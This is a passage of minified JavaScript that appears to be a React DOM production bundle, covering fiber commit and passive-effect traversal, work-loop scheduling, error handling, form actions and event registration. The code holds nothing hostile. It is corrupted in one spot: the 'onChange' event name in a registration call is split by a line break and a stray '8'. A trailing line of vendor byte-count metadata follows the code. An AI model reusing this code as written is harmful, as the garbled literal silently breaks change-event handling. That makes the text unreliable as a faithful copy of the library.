n=null;e!==null&&e.memoizedState!==null&&e.memoizedState.cachePool!==null&&(n=e.memoizedState.cachePool.pool),e=null,t.memoizedState!==null&&t.memoizedState.cachePool!==null&&(e=t.memoizedState.cachePool.pool),e!==n&&(e!=null&&e.refCount++,n!=null&&ra(n))}function Sl(e,t){e=null,t.alternate!==null&&(e=t.alternate.memoizedState.cache),t=t.memoizedState.cache,t!==e&&(t.refCount++,e!=null&&ra(e))}function Cl(e,t,n,r){if(t.subtreeFlags&10256)for(t=t.child;t!==null;)wl(e,t,n,r),t=t.sibling}function wl(e,t,n,r){var i=t.flags;switch(t.tag){case 0:case 11:case 15:Cl(e,t,n,r),i&2048&&Rc(9,t);break;case 1:Cl(e,t,n,r);break;case 3:Cl(e,t,n,r),i&2048&&(e=null,t.alternate!==null&&(e=t.alternate.memoizedState.cache),t=t.memoizedState.cache,t!==e&&(t.refCount++,e!=null&&ra(e)));break;case 12:if(i&2048){Cl(e,t,n,r),e=t.stateNode;try{var a=t.memoizedProps,o=a.id,s=a.onPostCommit;typeof s==`function`&&s(o,t.alternate===null?`mount`:`update`,e.passiveEffectDuration,-0)}catch(e){Q(t,t.return,e)}}else Cl(e,t,n,r);break;case 31:Cl(e,t,n,r);break;case 13:Cl(e,t,n,r);break;case 23:break;case 22:a=t.stateNode,o=t.alternate,t.memoizedState===null?a._visibility&2?Cl(e,t,n,r):(a._visibility|=2,Tl(e,t,n,r,(t.subtreeFlags&10256)!=0||!1)):a._visibility&2?Cl(e,t,n,r):El(e,t),i&2048&&xl(o,t);break;case 24:Cl(e,t,n,r),i&2048&&Sl(t.alternate,t);break;default:Cl(e,t,n,r)}}function Tl(e,t,n,r,i){for(i&&=(t.subtreeFlags&10256)!=0||!1,t=t.child;t!==null;){var a=e,o=t,s=n,c=r,l=o.flags;switch(o.tag){case 0:case 11:case 15:Tl(a,o,s,c,i),Rc(8,o);break;case 23:break;case 22:var u=o.stateNode;o.memoizedState===null?(u._visibility|=2,Tl(a,o,s,c,i)):u._visibility&2?Tl(a,o,s,c,i):El(a,o),i&&l&2048&&xl(o.alternate,o);break;case 24:Tl(a,o,s,c,i),i&&l&2048&&Sl(o.alternate,o);break;default:Tl(a,o,s,c,i)}t=t.sibling}}function El(e,t){if(t.subtreeFlags&10256)for(t=t.child;t!==null;){var n=e,r=t,i=r.flags;switch(r.tag){case 22:El(n,r),i&2048&&xl(r.alternate,r);break;case 24:El(n,r),i&2048&&Sl(r.alternate,r);break;default:El(n,r)}t=t.sibling}}var Dl=8192;function Ol(e,t,n){if(e.subtreeFlags&Dl)for(e=e.child;e!==null;)kl(e,t,n),e=e.sibling}function kl(e,t,n){switch(e.tag){case 26:Ol(e,t,n),e.flags&Dl&&e.memoizedState!==null&&Gf(n,ml,e.memoizedState,e.memoizedProps);break;case 5:Ol(e,t,n);break;case 3:case 4:var r=ml;ml=gf(e.stateNode.containerInfo),Ol(e,t,n),ml=r;break;case 22:e.memoizedState===null&&(r=e.alternate,r!==null&&r.memoizedState!==null?(r=Dl,Dl=16777216,Ol(e,t,n),Dl=r):Ol(e,t,n));break;default:Ol(e,t,n)}}function Al(e){var t=e.alternate;if(t!==null&&(e=t.child,e!==null)){t.child=null;do t=e.sibling,e.sibling=null,e=t;while(e!==null)}}function jl(e){var t=e.deletions;if(e.flags&16){if(t!==null)for(var n=0;n<t.length;n++){var r=t[n];tl=r,Pl(r,e)}Al(e)}if(e.subtreeFlags&10256)for(e=e.child;e!==null;)Ml(e),e=e.sibling}function Ml(e){switch(e.tag){case 0:case 11:case 15:jl(e),e.flags&2048&&zc(9,e,e.return);break;case 3:jl(e);break;case 12:jl(e);break;case 22:var t=e.stateNode;e.memoizedState!==null&&t._visibility&2&&(e.return===null||e.return.tag!==13)?(t._visibility&=-3,Nl(e)):jl(e);break;default:jl(e)}}function Nl(e){var t=e.deletions;if(e.flags&16){if(t!==null)for(var n=0;n<t.length;n++){var r=t[n];tl=r,Pl(r,e)}Al(e)}for(e=e.child;e!==null;){switch(t=e,t.tag){case 0:case 11:case 15:zc(8,t,t.return),Nl(t);break;case 22:n=t.stateNode,n._visibility&2&&(n._visibility&=-3,Nl(t));break;default:Nl(t)}e=e.sibling}}function Pl(e,t){for(;tl!==null;){var n=tl;switch(n.tag){case 0:case 11:case 15:zc(8,n,t);break;case 23:case 22:if(n.memoizedState!==null&&n.memoizedState.cachePool!==null){var r=n.memoizedState.cachePool.pool;r!=null&&r.refCount++}break;case 24:ra(n.memoizedState.cache)}if(r=n.child,r!==null)r.return=n,tl=r;else a:for(n=e;tl!==null;){r=tl;var i=r.sibling,a=r.return;if(il(r),r===n){tl=null;break a}if(i!==null){i.return=a,tl=i;break a}tl=a}}}var Fl={getCacheForType:function(e){var t=Yi(ta),n=t.data.get(e);return n===void 0&&(n=e(),t.data.set(e,n)),n},cacheSignal:function(){return Yi(ta).controller.signal}},Il=typeof WeakMap==`function`?WeakMap:Map,J=0,Ll=null,Y=null,X=0,Z=0,Rl=null,zl=!1,Bl=!1,Vl=!1,Hl=0,Ul=0,Wl=0,Gl=0,Kl=0,ql=0,Jl=0,Yl=null,Xl=null,Zl=!1,Ql=0,$l=0,eu=1/0,tu=null,nu=null,ru=0,iu=null,au=null,ou=0,su=0,cu=null,lu=null,uu=0,du=null;function fu(){return J&2&&X!==0?X&-X:I.T===null?tt():ud()}function pu(){if(ql===0)if(!(X&536870912)||G){var e=Be;Be<<=1,!(Be&3932160)&&(Be=262144),ql=e}else ql=536870912;return e=Za.current,e!==null&&(e.flags|=32),ql}function mu(e,t,n){(e===Ll&&(Z===2||Z===9)||e.cancelPendingCommit!==null)&&(xu(e,0),vu(e,X,ql,!1)),Je(e,n),(!(J&2)||e!==Ll)&&(e===Ll&&(!(J&2)&&(Gl|=n),Ul===4&&vu(e,X,ql,!1)),nd(e))}function hu(e,t,n){if(J&6)throw Error(i(327));var r=!n&&(t&127)==0&&(t&e.expiredLanes)===0||We(e,t),a=r?ku(e,t):Du(e,t,!0),o=r;do{if(a===0){Bl&&!r&&vu(e,t,0,!1);break}else{if(n=e.current.alternate,o&&!_u(n)){a=Du(e,t,!1),o=!1;continue}if(a===2){if(o=t,e.errorRecoveryDisabledLanes&o)var s=0;else s=e.pendingLanes&-536870913,s=s===0?s&536870912?536870912:0:s;if(s!==0){t=s;a:{var c=e;a=Yl;var l=c.current.memoizedState.isDehydrated;if(l&&(xu(c,s).flags|=256),s=Du(c,s,!1),s!==2){if(Vl&&!l){c.errorRecoveryDisabledLanes|=o,Gl|=o,a=4;break a}o=Xl,Xl=a,o!==null&&(Xl===null?Xl=o:Xl.push.apply(Xl,o))}a=s}if(o=!1,a!==2)continue}}if(a===1){xu(e,0),vu(e,t,0,!0);break}a:{switch(r=e,o=a,o){case 0:case 1:throw Error(i(345));case 4:if((t&4194048)!==t)break;case 6:vu(r,t,ql,!zl);break a;case 2:Xl=null;break;case 3:case 5:break;default:throw Error(i(329))}if((t&62914560)===t&&(a=Ql+300-Ce(),10<a)){if(vu(r,t,ql,!zl),Ue(r,0,!0)!==0)break a;ou=t,r.timeoutHandle=Kd(gu.bind(null,r,n,Xl,tu,Zl,t,ql,Gl,Jl,zl,o,`Throttled`,-0,0),a);break a}gu(r,n,Xl,tu,Zl,t,ql,Gl,Jl,zl,o,null,-0,0)}}break}while(1);nd(e)}function gu(e,t,n,r,i,a,o,s,c,l,u,d,f,p){if(e.timeoutHandle=-1,d=t.subtreeFlags,d&8192||(d&16785408)==16785408){d={stylesheets:null,count:0,imgCount:0,imgBytes:0,suspenseyImages:[],waitingForImages:!0,waitingForViewTransition:!1,unsuspend:Xt},kl(t,a,d);var m=(a&62914560)===a?Ql-Ce():(a&4194048)===a?$l-Ce():0;if(m=qf(d,m),m!==null){ou=a,e.cancelPendingCommit=m(Iu.bind(null,e,t,a,n,r,i,o,s,c,u,d,null,f,p)),vu(e,a,o,!l);return}}Iu(e,t,a,n,r,i,o,s,c)}function _u(e){for(var t=e;;){var n=t.tag;if((n===0||n===11||n===15)&&t.flags&16384&&(n=t.updateQueue,n!==null&&(n=n.stores,n!==null)))for(var r=0;r<n.length;r++){var i=n[r],a=i.getSnapshot;i=i.value;try{if(!gr(a(),i))return!1}catch{return!1}}if(n=t.child,t.subtreeFlags&16384&&n!==null)n.return=t,t=n;else{if(t===e)break;for(;t.sibling===null;){if(t.return===null||t.return===e)return!0;t=t.return}t.sibling.return=t.return,t=t.sibling}}return!0}function vu(e,t,n,r){t&=~Kl,t&=~Gl,e.suspendedLanes|=t,e.pingedLanes&=~t,r&&(e.warmLanes|=t),r=e.expirationTimes;for(var i=t;0<i;){var a=31-Fe(i),o=1<<a;r[a]=-1,i&=~o}n!==0&&Xe(e,n,t)}function yu(){return J&6?!0:(rd(0,!1),!1)}function bu(){if(Y!==null){if(Z===0)var e=Y.return;else e=Y,Vi=Bi=null,wo(e),Ea=null,Da=0,e=Y;for(;e!==null;)Lc(e.alternate,e),e=e.return;Y=null}}function xu(e,t){var n=e.timeoutHandle;n!==-1&&(e.timeoutHandle=-1,qd(n)),n=e.cancelPendingCommit,n!==null&&(e.cancelPendingCommit=null,n()),ou=0,bu(),Ll=e,Y=n=ii(e.current,null),X=t,Z=0,Rl=null,zl=!1,Bl=We(e,t),Vl=!1,Jl=ql=Kl=Gl=Wl=Ul=0,Xl=Yl=null,Zl=!1,t&8&&(t|=t&32);var r=e.entangledLanes;if(r!==0)for(e=e.entanglements,r&=t;0<r;){var i=31-Fe(r),a=1<<i;t|=e[i],r&=~a}return Hl=t,Jr(),n}function Su(e,t){K=null,I.H=Ps,t===ga||t===va?(t=wa(),Z=3):t===_a?(t=wa(),Z=4):Z=t===Qs?8:typeof t==`object`&&t&&typeof t.then==`function`?6:1,Rl=t,Y===null&&(Ul=1,Ks(e,fi(t,e.current)))}function Cu(){var e=Za.current;return e===null?!0:(X&4194048)===X?Qa===null:(X&62914560)===X||X&536870912?e===Qa:!1}function wu(){var e=I.H;return I.H=Ps,e===null?Ps:e}function Tu(){var e=I.A;return I.A=Fl,e}function Eu(){Ul=4,zl||(X&4194048)!==X&&Za.current!==null||(Bl=!0),!(Wl&134217727)&&!(Gl&134217727)||Ll===null||vu(Ll,X,ql,!1)}function Du(e,t,n){var r=J;J|=2;var i=wu(),a=Tu();(Ll!==e||X!==t)&&(tu=null,xu(e,t)),t=!1;var o=Ul;a:do try{if(Z!==0&&Y!==null){var s=Y,c=Rl;switch(Z){case 8:bu(),o=6;break a;case 3:case 2:case 9:case 6:Za.current===null&&(t=!0);var l=Z;if(Z=0,Rl=null,Nu(e,s,c,l),n&&Bl){o=0;break a}break;default:l=Z,Z=0,Rl=null,Nu(e,s,c,l)}}Ou(),o=Ul;break}catch(t){Su(e,t)}while(1);return t&&e.shellSuspendCounter++,Vi=Bi=null,J=r,I.H=i,I.A=a,Y===null&&(Ll=null,X=0,Jr()),o}function Ou(){for(;Y!==null;)ju(Y)}function ku(e,t){var n=J;J|=2;var r=wu(),a=Tu();Ll!==e||X!==t?(tu=null,eu=Ce()+500,xu(e,t)):Bl=We(e,t);a:do try{if(Z!==0&&Y!==null){t=Y;var o=Rl;b:switch(Z){case 1:Z=0,Rl=null,Nu(e,t,o,1);break;case 2:case 9:if(ba(o)){Z=0,Rl=null,Mu(t);break}t=function(){Z!==2&&Z!==9||Ll!==e||(Z=7),nd(e)},o.then(t,t);break a;case 3:Z=7;break a;case 4:Z=5;break a;case 7:ba(o)?(Z=0,Rl=null,Mu(t)):(Z=0,Rl=null,Nu(e,t,o,7));break;case 5:var s=null;switch(Y.tag){case 26:s=Y.memoizedState;case 5:case 27:var c=Y;if(s?Wf(s):c.stateNode.complete){Z=0,Rl=null;var l=c.sibling;if(l!==null)Y=l;else{var u=c.return;u===null?Y=null:(Y=u,Pu(u))}break b}}Z=0,Rl=null,Nu(e,t,o,5);break;case 6:Z=0,Rl=null,Nu(e,t,o,6);break;case 8:bu(),Ul=6;break a;default:throw Error(i(462))}}Au();break}catch(t){Su(e,t)}while(1);return Vi=Bi=null,I.H=r,I.A=a,J=n,Y===null?(Ll=null,X=0,Jr(),Ul):0}function Au(){for(;Y!==null&&!xe();)ju(Y)}function ju(e){var t=Oc(e.alternate,e,Hl);e.memoizedProps=e.pendingProps,t===null?Pu(e):Y=t}function Mu(e){var t=e,n=t.alternate;switch(t.tag){case 15:case 0:t=fc(n,t,t.pendingProps,t.type,void 0,X);break;case 11:t=fc(n,t,t.pendingProps,t.type.render,t.ref,X);break;case 5:wo(t);default:Lc(n,t),t=Y=ai(t,Hl),t=Oc(n,t,Hl)}e.memoizedProps=e.pendingProps,t===null?Pu(e):Y=t}function Nu(e,t,n,r){Vi=Bi=null,wo(t),Ea=null,Da=0;var i=t.return;try{if(Zs(e,i,t,n,X)){Ul=1,Ks(e,fi(n,e.current)),Y=null;return}}catch(t){if(i!==null)throw Y=i,t;Ul=1,Ks(e,fi(n,e.current)),Y=null;return}t.flags&32768?(G||r===1?e=!0:Bl||X&536870912?e=!1:(zl=e=!0,(r===2||r===9||r===3||r===6)&&(r=Za.current,r!==null&&r.tag===13&&(r.flags|=16384))),Fu(t,e)):Pu(t)}function Pu(e){var t=e;do{if(t.flags&32768){Fu(t,zl);return}e=t.return;var n=Fc(t.alternate,t,Hl);if(n!==null){Y=n;return}if(t=t.sibling,t!==null){Y=t;return}Y=t=e}while(t!==null);Ul===0&&(Ul=5)}function Fu(e,t){do{var n=Ic(e.alternate,e);if(n!==null){n.flags&=32767,Y=n;return}if(n=e.return,n!==null&&(n.flags|=32768,n.subtreeFlags=0,n.deletions=null),!t&&(e=e.sibling,e!==null)){Y=e;return}Y=e=n}while(e!==null);Ul=6,Y=null}function Iu(e,t,n,r,a,o,s,c,l){e.cancelPendingCommit=null;do Vu();while(ru!==0);if(J&6)throw Error(i(327));if(t!==null){if(t===e.current)throw Error(i(177));if(o=t.lanes|t.childLanes,o|=qr,Ye(e,n,o,s,c,l),e===Ll&&(Y=Ll=null,X=0),au=t,iu=e,ou=n,su=o,cu=a,lu=r,t.subtreeFlags&10256||t.flags&10256?(e.callbackNode=null,e.callbackPriority=0,Yu(De,function(){return Hu(),null})):(e.callbackNode=null,e.callbackPriority=0),r=(t.flags&13878)!=0,t.subtreeFlags&13878||r){r=I.T,I.T=null,a=L.p,L.p=2,s=J,J|=4;try{nl(e,t,n)}finally{J=s,L.p=a,I.T=r}}ru=1,Lu(),Ru(),zu()}}function Lu(){if(ru===1){ru=0;var e=iu,t=au,n=(t.flags&13878)!=0;if(t.subtreeFlags&13878||n){n=I.T,I.T=null;var r=L.p;L.p=2;var i=J;J|=4;try{hl(t,e);var a=zd,o=xr(e.containerInfo),s=a.focusedElem,c=a.selectionRange;if(o!==s&&s&&s.ownerDocument&&br(s.ownerDocument.documentElement,s)){if(c!==null&&Sr(s)){var l=c.start,u=c.end;if(u===void 0&&(u=l),`selectionStart`in s)s.selectionStart=l,s.selectionEnd=Math.min(u,s.value.length);else{var d=s.ownerDocument||document,f=d&&d.defaultView||window;if(f.getSelection){var p=f.getSelection(),m=s.textContent.length,h=Math.min(c.start,m),g=c.end===void 0?h:Math.min(c.end,m);!p.extend&&h>g&&(o=g,g=h,h=o);var _=yr(s,h),v=yr(s,g);if(_&&v&&(p.rangeCount!==1||p.anchorNode!==_.node||p.anchorOffset!==_.offset||p.focusNode!==v.node||p.focusOffset!==v.offset)){var y=d.createRange();y.setStart(_.node,_.offset),p.removeAllRanges(),h>g?(p.addRange(y),p.extend(v.node,v.offset)):(y.setEnd(v.node,v.offset),p.addRange(y))}}}}for(d=[],p=s;p=p.parentNode;)p.nodeType===1&&d.push({element:p,left:p.scrollLeft,top:p.scrollTop});for(typeof s.focus==`function`&&s.focus(),s=0;s<d.length;s++){var b=d[s];b.element.scrollLeft=b.left,b.element.scrollTop=b.top}}sp=!!Rd,zd=Rd=null}finally{J=i,L.p=r,I.T=n}}e.current=t,ru=2}}function Ru(){if(ru===2){ru=0;var e=iu,t=au,n=(t.flags&8772)!=0;if(t.subtreeFlags&8772||n){n=I.T,I.T=null;var r=L.p;L.p=2;var i=J;J|=4;try{rl(e,t.alternate,t)}finally{J=i,L.p=r,I.T=n}}ru=3}}function zu(){if(ru===4||ru===3){ru=0,Se();var e=iu,t=au,n=ou,r=lu;t.subtreeFlags&10256||t.flags&10256?ru=5:(ru=0,au=iu=null,Bu(e,e.pendingLanes));var i=e.pendingLanes;if(i===0&&(nu=null),et(n),t=t.stateNode,Ne&&typeof Ne.onCommitFiberRoot==`function`)try{Ne.onCommitFiberRoot(Me,t,void 0,(t.current.flags&128)==128)}catch{}if(r!==null){t=I.T,i=L.p,L.p=2,I.T=null;try{for(var a=e.onRecoverableError,o=0;o<r.length;o++){var s=r[o];a(s.value,{componentStack:s.stack})}}finally{I.T=t,L.p=i}}ou&3&&Vu(),nd(e),i=e.pendingLanes,n&261930&&i&42?e===du?uu++:(uu=0,du=e):uu=0,rd(0,!1)}}function Bu(e,t){(e.pooledCacheLanes&=t)===0&&(t=e.pooledCache,t!=null&&(e.pooledCache=null,ra(t)))}function Vu(){return Lu(),Ru(),zu(),Hu()}function Hu(){if(ru!==5)return!1;var e=iu,t=su;su=0;var n=et(ou),r=I.T,a=L.p;try{L.p=32>n?32:n,I.T=null,n=cu,cu=null;var o=iu,s=ou;if(ru=0,au=iu=null,ou=0,J&6)throw Error(i(331));var c=J;if(J|=4,Ml(o.current),wl(o,o.current,s,n),J=c,rd(0,!1),Ne&&typeof Ne.onPostCommitFiberRoot==`function`)try{Ne.onPostCommitFiberRoot(Me,o)}catch{}return!0}finally{L.p=a,I.T=r,Bu(e,t)}}function Uu(e,t,n){t=fi(n,t),t=Js(e.stateNode,t,2),e=Ra(e,t,2),e!==null&&(Je(e,2),nd(e))}function Q(e,t,n){if(e.tag===3)Uu(e,e,n);else for(;t!==null;){if(t.tag===3){Uu(t,e,n);break}else if(t.tag===1){var r=t.stateNode;if(typeof t.type.getDerivedStateFromError==`function`||typeof r.componentDidCatch==`function`&&(nu===null||!nu.has(r))){e=fi(n,e),n=Ys(2),r=Ra(t,n,2),r!==null&&(Xs(n,r,t,e),Je(r,2),nd(r));break}}t=t.return}}function Wu(e,t,n){var r=e.pingCache;if(r===null){r=e.pingCache=new Il;var i=new Set;r.set(t,i)}else i=r.get(t),i===void 0&&(i=new Set,r.set(t,i));i.has(n)||(Vl=!0,i.add(n),e=Gu.bind(null,e,t,n),t.then(e,e))}function Gu(e,t,n){var r=e.pingCache;r!==null&&r.delete(t),e.pingedLanes|=e.suspendedLanes&n,e.warmLanes&=~n,Ll===e&&(X&n)===n&&(Ul===4||Ul===3&&(X&62914560)===X&&300>Ce()-Ql?!(J&2)&&xu(e,0):Kl|=n,Jl===X&&(Jl=0)),nd(e)}function Ku(e,t){t===0&&(t=Ke()),e=Zr(e,t),e!==null&&(Je(e,t),nd(e))}function qu(e){var t=e.memoizedState,n=0;t!==null&&(n=t.retryLane),Ku(e,n)}function Ju(e,t){var n=0;switch(e.tag){case 31:case 13:var r=e.stateNode,a=e.memoizedState;a!==null&&(n=a.retryLane);break;case 19:r=e.stateNode;break;case 22:r=e.stateNode._retryCache;break;default:throw Error(i(314))}r!==null&&r.delete(t),Ku(e,n)}function Yu(e,t){return ye(e,t)}var Xu=null,Zu=null,Qu=!1,$u=!1,ed=!1,td=0;function nd(e){e!==Zu&&e.next===null&&(Zu===null?Xu=Zu=e:Zu=Zu.next=e),$u=!0,Qu||(Qu=!0,ld())}function rd(e,t){if(!ed&&$u){ed=!0;do for(var n=!1,r=Xu;r!==null;){if(!t)if(e!==0){var i=r.pendingLanes;if(i===0)var a=0;else{var o=r.suspendedLanes,s=r.pingedLanes;a=(1<<31-Fe(42|e)+1)-1,a&=i&~(o&~s),a=a&201326741?a&201326741|1:a?a|2:0}a!==0&&(n=!0,cd(r,a))}else a=X,a=Ue(r,r===Ll?a:0,r.cancelPendingCommit!==null||r.timeoutHandle!==-1),!(a&3)||We(r,a)||(n=!0,cd(r,a));r=r.next}while(n);ed=!1}}function id(){ad()}function ad(){$u=Qu=!1;var e=0;td!==0&&Gd()&&(e=td);for(var t=Ce(),n=null,r=Xu;r!==null;){var i=r.next,a=od(r,t);a===0?(r.next=null,n===null?Xu=i:n.next=i,i===null&&(Zu=n)):(n=r,(e!==0||a&3)&&($u=!0)),r=i}ru!==0&&ru!==5||rd(e,!1),td!==0&&(td=0)}function od(e,t){for(var n=e.suspendedLanes,r=e.pingedLanes,i=e.expirationTimes,a=e.pendingLanes&-62914561;0<a;){var o=31-Fe(a),s=1<<o,c=i[o];c===-1?((s&n)===0||(s&r)!==0)&&(i[o]=Ge(s,t)):c<=t&&(e.expiredLanes|=s),a&=~s}if(t=Ll,n=X,n=Ue(e,e===t?n:0,e.cancelPendingCommit!==null||e.timeoutHandle!==-1),r=e.callbackNode,n===0||e===t&&(Z===2||Z===9)||e.cancelPendingCommit!==null)return r!==null&&r!==null&&be(r),e.callbackNode=null,e.callbackPriority=0;if(!(n&3)||We(e,n)){if(t=n&-n,t===e.callbackPriority)return t;switch(r!==null&&be(r),et(n)){case 2:case 8:n=Ee;break;case 32:n=De;break;case 268435456:n=ke;break;default:n=De}return r=sd.bind(null,e),n=ye(n,r),e.callbackPriority=t,e.callbackNode=n,t}return r!==null&&r!==null&&be(r),e.callbackPriority=2,e.callbackNode=null,2}function sd(e,t){if(ru!==0&&ru!==5)return e.callbackNode=null,e.callbackPriority=0,null;var n=e.callbackNode;if(Vu()&&e.callbackNode!==n)return null;var r=X;return r=Ue(e,e===Ll?r:0,e.cancelPendingCommit!==null||e.timeoutHandle!==-1),r===0?null:(hu(e,r,t),od(e,Ce()),e.callbackNode!=null&&e.callbackNode===n?sd.bind(null,e):null)}function cd(e,t){if(Vu())return null;hu(e,t,!0)}function ld(){Yd(function(){J&6?ye(Te,id):ad()})}function ud(){if(td===0){var e=oa;e===0&&(e=ze,ze<<=1,!(ze&261888)&&(ze=256)),td=e}return td}function dd(e){return e==null||typeof e==`symbol`||typeof e==`boolean`?null:typeof e==`function`?e:Yt(``+e)}function fd(e,t){var n=t.ownerDocument.createElement(`input`);return n.name=t.name,n.value=t.value,e.id&&n.setAttribute(`form`,e.id),t.parentNode.insertBefore(n,t),e=new FormData(e),n.parentNode.removeChild(n),e}function pd(e,t,n,r,i){if(t===`submit`&&n&&n.stateNode===i){var a=dd((i[at]||null).action),o=r.submitter;o&&(t=(t=o[at]||null)?dd(t.formAction):o.getAttribute(`formAction`),t!==null&&(a=t,o=null));var s=new vn(`action`,`action`,null,r,i);e.push({event:s,listeners:[{instance:null,listener:function(){if(r.defaultPrevented){if(td!==0){var e=o?fd(i,o):new FormData(i);bs(n,{pending:!0,data:e,method:i.method,action:a},null,e)}}else typeof a==`function`&&(s.preventDefault(),e=o?fd(i,o):new FormData(i),bs(n,{pending:!0,data:e,method:i.method,action:a},a,e))},currentTarget:i}]})}}for(var md=0;md<Hr.length;md++){var hd=Hr[md];Ur(hd.toLowerCase(),`on`+(hd[0].toUpperCase()+hd.slice(1)))}Ur(Pr,`onAnimationEnd`),Ur(Fr,`onAnimationIteration`),Ur(Ir,`onAnimationStart`),Ur(`dblclick`,`onDoubleClick`),Ur(`focusin`,`onFocus`),Ur(`focusout`,`onBlur`),Ur(Lr,`onTransitionRun`),Ur(Rr,`onTransitionStart`),Ur(zr,`onTransitionCancel`),Ur(Br,`onTransitionEnd`),xt(`onMouseEnter`,[`mouseout`,`mouseover`]),xt(`onMouseLeave`,[`mouseout`,`mouseover`]),xt(`onPointerEnter`,[`pointerout`,`pointerover`]),xt(`onPointerLeave`,[`pointerout`,`pointerover`]),bt(`onCh
8ange`,`change click focusin focusout input keydown keyup selectionchange`.split(` `)),bt(`onSelect`,`focusout contextmenu dragend focusin keydown keyup mousedown mouseup selectionchange`.split(` `)),bt(`onBeforeInput`,[`compositionend`,`keypress`,`textInput`,`paste`]),bt(`onCompositionEnd`,`compositionend focusout keydown keypress keyup mousedown`.split(` `)),bt(`onCompositionStart`,`compositionstart focusout keydown keypress keyup mousedown`.split(` `)),bt(`onCompositionUpdate`,`compositionupdate focusout keydown keypress keyup mousedown`.split(` `));var gd=`abort canplay canplaythrough durationchange emptied encrypted ended error loadeddata loadedmetadata loadstart pause play playing progress ratechange resize seeked seeking stalled suspend timeupdate volumechange waiting`.split(` `),_d=new Set(`beforetoggle cancel close invalid load scroll scrollend toggle`.split(` `).concat(gd));function vd(e,t){t=(t&4)!=0;for(var n=0;n<e.length;n++){var r=e[n],i=r.event;r=r.listeners;a:{var a=void 0;if(t)for(var o=r.length-1;0<=o;o--){var s=r[o],c=s.instance,l=s.currentTarget;if(s=s.listener,c!==a&&i.isPropagationStopped())break a;a=s,i.currentTarget=l;try{a(i)}catch(e){Wr(e)}i.currentTarget=null,a=c}else for(o=0;o<r.length;o++){if(s=r[o],c=s.instance,l=s.currentTarget,s=s.listener,c!==a&&i.isPropagationStopped())break a;a=s,i.currentTarget=l;try{a(i)}catch(e){Wr(e)}i.currentTarget=null,a=c}}}}function $(e,t){var n=t[st];n===void 0&&(n=t[st]=new Set);var r=e+`__bubble`;n.has(r)||(Sd(t,e,2,!1),n.add(r))}function yd(e,t,n){var r=0;t&&(r|=4),Sd(n,e,r,t)}var bd=`_reactListening`+Math.random().toString(36).slice(2);function xd(e){if(!e[bd]){e[bd]=!0,vt.forEach(function(t){t!==`selectionchange`&&(_d.has(t)||yd(t,!1,e),yd(t,!0,e))});var t=e.nodeType===9?e:e.ownerDocument;t===null||t[bd]||(t[bd]=!0,yd(`selectionchange`,!1,t))}}function Sd(e,t,n,r){switch(mp(t)){case 2:var i=cp;break;case 8:i=lp;break;default:i=up}n=i.bind(null,t,n,e),i=void 0,!sn||t!==`touchstart`&&t!==`touchmove`&&t!==`wheel`||(i=!0),r?i===void 0?e.addEventListener(t,n,!0):e.addEventListener(t,n,{capture:!0,passive:i}):i===void 0?e.addEventListener(t,n,!1):e.addEventListener(t,n,{passive:i})}function Cd(e,t,n,r,i){var a=r;if(!(t&1)&&!(t&2)&&r!==null)a:for(;;){if(r===null)return;var s=r.tag;if(s===3||s===4){var c=r.stateNode.containerInfo;if(c===i)break;if(s===4)for(s=r.return;s!==null;){var l=s.tag;if((l===3||l===4)&&s.stateNode.containerInfo===i)return;s=s.return}for(;c!==null;){if(s=pt(c),s===null)return;if(l=s.tag,l===5||l===6||l===26||l===27){r=a=s;continue a}c=c.parentNode}}r=r.return}rn(function(){var r=a,i=Qt(n),s=[];a:{var c=Vr.get(e);if(c!==void 0){var l=vn,u=e;switch(e){case`keypress`:if(pn(n)===0)break a;case`keydown`:case`keyup`:l=In;break;case`focusin`:u=`focus`,l=Dn;break;case`focusout`:u=`blur`,l=Dn;break;case`beforeblur`:case`afterblur`:l=Dn;break;case`click`:if(n.button===2)break a;case`auxclick`:case`dblclick`:case`mousedown`:case`mousemove`:case`mouseup`:case`mouseout`:case`mouseover`:case`contextmenu`:l=Tn;break;case`drag`:case`dragend`:case`dragenter`:case`dragexit`:case`dragleave`:case`dragover`:case`dragstart`:case`drop`:l=En;break;case`touchcancel`:case`touchend`:case`touchmove`:case`touchstart`:l=Rn;break;case Pr:case Fr:case Ir:l=On;break;case Br:l=zn;break;case`scroll`:case`scrollend`:l=bn;break;case`wheel`:l=Bn;break;case`copy`:case`cut`:case`paste`:l=kn;break;case`gotpointercapture`:case`lostpointercapture`:case`pointercancel`:case`pointerdown`:case`pointermove`:case`pointerout`:case`pointerover`:case`pointerup`:l=Ln;break;case`toggle`:case`beforetoggle`:l=H}var d=(t&4)!=0,f=!d&&(e===`scroll`||e===`scrollend`),p=d?c===null?null:c+`Capture`:c;d=[];for(var m=r,h;m!==null;){var g=m;if(h=g.stateNode,g=g.tag,g!==5&&g!==26&&g!==27||h===null||p===null||(g=an(m,p),g!=null&&d.push(wd(m,g,h))),f)break;m=m.return}0<d.length&&(c=new l(c,u,null,n,i),s.push({event:c,listeners:d}))}}if(!(t&7)){a:{if(c=e===`mouseover`||e===`pointerover`,l=e===`mouseout`||e===`pointerout`,c&&n!==Zt&&(u=n.relatedTarget||n.fromElement)&&(pt(u)||u[ot]))break a;if((l||c)&&(c=i.window===i?i:(c=i.ownerDocument)?c.defaultView||c.parentWindow:window,l?(u=n.relatedTarget||n.toElement,l=r,u=u?pt(u):null,u!==null&&(f=o(u),d=u.tag,u!==f||d!==5&&d!==27&&d!==6)&&(u=null)):(l=null,u=r),l!==u)){if(d=Tn,g=`onMouseLeave`,p=`onMouseEnter`,m=`mouse`,(e===`pointerout`||e===`pointerover`)&&(d=Ln,g=`onPointerLeave`,p=`onPointerEnter`,m=`pointer`),f=l==null?c:ht(l),h=u==null?c:ht(u),c=new d(g,m+`leave`,l,n,i),c.target=f,c.relatedTarget=h,g=null,pt(i)===r&&(d=new d(p,m+`enter`,u,n,i),d.target=h,d.relatedTarget=f,g=d),f=g,l&&u)b:{for(d=Ed,p=l,m=u,h=0,g=p;g;g=d(g))h++;g=0;for(var _=m;_;_=d(_))g++;for(;0<h-g;)p=d(p),h--;for(;0<g-h;)m=d(m),g--;for(;h--;){if(p===m||m!==null&&p===m.alternate){d=p;break b}p=d(p),m=d(m)}d=null}else d=null;l!==null&&Dd(s,c,l,d,!1),u!==null&&f!==null&&Dd(s,f,u,d,!0)}}a:{if(c=r?ht(r):window,l=c.nodeName&&c.nodeName.toLowerCase(),l===`select`||l===`input`&&c.type===`file`)var v=ar;else if(er(c))if(or)v=mr;else{v=fr;var y=dr}else l=c.nodeName,!l||l.toLowerCase()!==`input`||c.type!==`checkbox`&&c.type!==`radio`?r&&Kt(r.elementType)&&(v=ar):v=pr;
vendor: 4,856 bytes, lines 8-9
